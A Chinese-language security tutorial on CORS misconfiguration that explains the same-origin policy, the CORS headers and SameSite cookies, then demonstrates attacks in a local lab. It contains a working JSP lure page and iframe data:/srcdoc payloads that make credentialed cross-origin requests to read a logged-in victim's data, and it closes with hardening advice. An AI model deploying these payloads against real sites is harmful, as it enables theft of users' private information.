全方位了解CORS跨域资源共享漏洞
前几天看网络安全abc123大佬发了一篇关于CORS漏洞的文章,质量很高,恰巧我之前也写过一篇,所以这里想按照大佬的思路,从前提知识,原理,利用过程全方面细致的研究一回
1. 前言
想要了解明白这个漏洞,我们就需要知道一些前提
同源策略 (Same Origin Policy)
- 协议
- 域名
- 端口
同时满足这三种条件就是同源,当存在两个站点,其中有一项不满足相同条件的时候,我们即可说这两个站点不是同源站点,而当其中一个站点想请求另外一个站点的资源的时候我们边称它为跨域请求
,而由于安全考虑,跨域请求
会受到同源策略的限制
不受影响的标签
在HTML中\<a>, \<form>, \<img>, \<script>, \<iframe>, \<link> 等标签以及 Ajax 都可以指向一个资源地址
在这些标签中有以下的标签不受同源策略的限制
- script
- img
- iframe
- link
- css
用户对跨域的需求
- 比如前后端分离的情况,前后端域名不同,但是前端会需要用到后端的接口,发送ajax请求
- 电商网站加载第三方快递网站的物流信息
CORS机制解决
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
下图是常见的跨域会遇到的请求头
当对CORS配置不当的时候,就导致资源被恶意操作,也就发生了我们熟悉的CORS漏洞
2.常见情况分析
如上面的图所示,我用红框标记的是最有代表性的三个头,其中我们可以手动为请求加上Origin
,然后观察响应头的Access-Control-Allow-Origin
和Access-Control-Allow-Credentials
的值
- 其中Access-Control-Allow-Origin表示允许跨域访问的host
就三个值,可以设置成指定的网站,也可以设置成*
表示允许所有host跨域访问,也可以设置为null
,但是首先设置成null并不常见,并且也不推荐
- 如果想跨域传输cookies,需要Access-Control-Allow-Credentials设置为true,并且需要与XMLHttpRequest.withCredentials 或Fetch API中的Request() 构造器中的credentials 选项结合使用,例如使用
XMLHttpRequest
的时候需要将withCredentials
的值设置为true
接下来按照常见性分为几种情况
Access-Control-Allow-Origin | Access-Control-Allow-Credentials | 结果 |
---|---|---|
* | true | 不存在漏洞 |
<all-host></all-host> | true | 存在漏洞 |
<safe_host> | true | 安全-不存在漏洞 |
null | true | 存在漏洞 |
首先我用java写了个小demo,demo有两个页面,一个页面就是登录页面,另一个就是登录成功后会自动跳转的个人信息页面,如下图所示:
接下来我们来详细讨论上面的几种情况
第一种,Allow-Origin为 * ,Allow-Credentials为 true
后端开发一般会这样写
我们测试的时候一般是这样
那么这样写我们能利用吗?答案是不能,前面我们知道Access-Control-Allow-Origin
表示允许跨域访问的host,我们这里设置成了通配符*
,代表允许所有网站的跨域请求,当这种情况的时候,即便Access-Control-Allow-Credentials
为true,那么会被认定为不安全的,将不能将cookie发送到服务端,所以我们利用会失败
攻击服务器代码:index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!</h2>
<button id="attack" type="button" onclick="attack()">点我抢红包</button>
</body>
<script>
function attack() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成,并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
if(this.response =="" || this.response == null){
alert("恭喜已经绕过了同源策略,但是响应体为空,利用失败");
}else{
alert("黑客已经拿到你的敏感信息----"+this.response)
}
}
}
//打开靶机地址
xhttp.open("GET","http://192.168.1.2:8080/info",true);
//使用 cookie、授权标头或 TLS 客户端证书等凭据进行跨站点请求
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</html>
靶机地址: 192.168.1.2:8080
攻击服务器地址:192.168.1.251:8080
当用户登录状态下,访问我们的网站并点击相关按钮的时候,发下没有任何反应,这时候我们来看一下响应体和控制台,发现请求已经被同源策略禁止了
第二种,Allow-Origin为<all-host> ,Allow-Credentials为 true</all-host>
这种的话其实也相当于同意了所有站点的跨域请求,一般如果是这种情况,那么漏洞肯定存在并且可以利用,而出现漏洞的原因就是一些开发为了图方便导致的
后端代码长这样
我们测试的时候,通常情况下还是手动加上origin
然后将值随便设置成其它域名,结果如下图
同样的我们进行利用
可以利用成功,但是就这么简单吗?当然不是,这是我在虚拟机上下的一个谷歌的盗版浏览器,接下来我用我本机的三个浏览器试试
Firefox:
Chrome:
Microsoft Edge:
所以呢?这是为什么,我们就没办法利用了吗?
先来说下为什么,原因就是SameSite
属性,2016年开始,Chrome 51版本对Cookie新增了一个 SameSite属性,为了防止CSRF
攻击,陆续的各大厂商的浏览器也都适配了该属性,该属性有什么用呢?如下图所示,展示了SameSite和其它跟cookie有关的设置的基本用途
samesite属性有三个值
- Strict:最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
- Lax:当开发开发人员没有设置samesite的值得时候,Lax是默认值,规则稍稍放宽,大多数情况也是不发送第三方 Cookie,详细如下图
我们利用页面的请求,可以算作一个AJAX,所以当我们默认情况下去利用不会发送cookie
- None:所有请求中都允许发送cookie,但是如果samesite配置成了none,还必须将cookie加上
Secure
属性才能够生效
所以当遇到https协议的站点,并且cookie的samesite被设置成None的时候,也可以利用,如下图所示,我将站点改成了https,并且加上了samesite=None以及Secure
利用成功
其中当Allow-Origin设置为safe-host(我这里指的就是正确配置了指点允许跨域访问对的站点)就不演示了,肯定是老铁没毛病
第三种,Allow-Origin为 null ,Allow-Credentials为 true
这种情况可以被绕过,因为任何使用非分级协议(如 data:
或 file:
)的资源和沙盒文件的 Origin 的序列化都被定义为‘null’,所以我们这里利用iframe
标签,使用 data url 格式将src的值直接加载为html(同样的利用成功的前提仍然要考虑我们上述提到的samesite)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成,并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
if(this.responseText =='' || this.responseText == null){
alert('恭喜已经绕过了同源策略,但是响应体为空,利用失败');
console.log('no,'+this.responseText)
}else{
alert('黑客已经拿到你的敏感信息----'+this.responseText);
console.log('yes,'+this.responseText)}
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();
</script>"></iframe>
利用成功
当然也可以利用h5的新属性srcdoc
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" srcdoc="<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成,并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
alert(this.responseText);
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();</script>
"></iframe>
同样可以利用
3. 安全建议
- Access-Control-Allow-Origin不应该设置为null,也不建议设置为*,做好设置成受信的站点
- Access-Control-Allow-Methods的值可以控制尽量少一些,只留需要用到的请求方法
- 开发人员尽量将cookie安全性设置高一些,例如
Httponly
,Security
,SameSite
- 提高敏感数据安全性,例如加密,身份二次验证等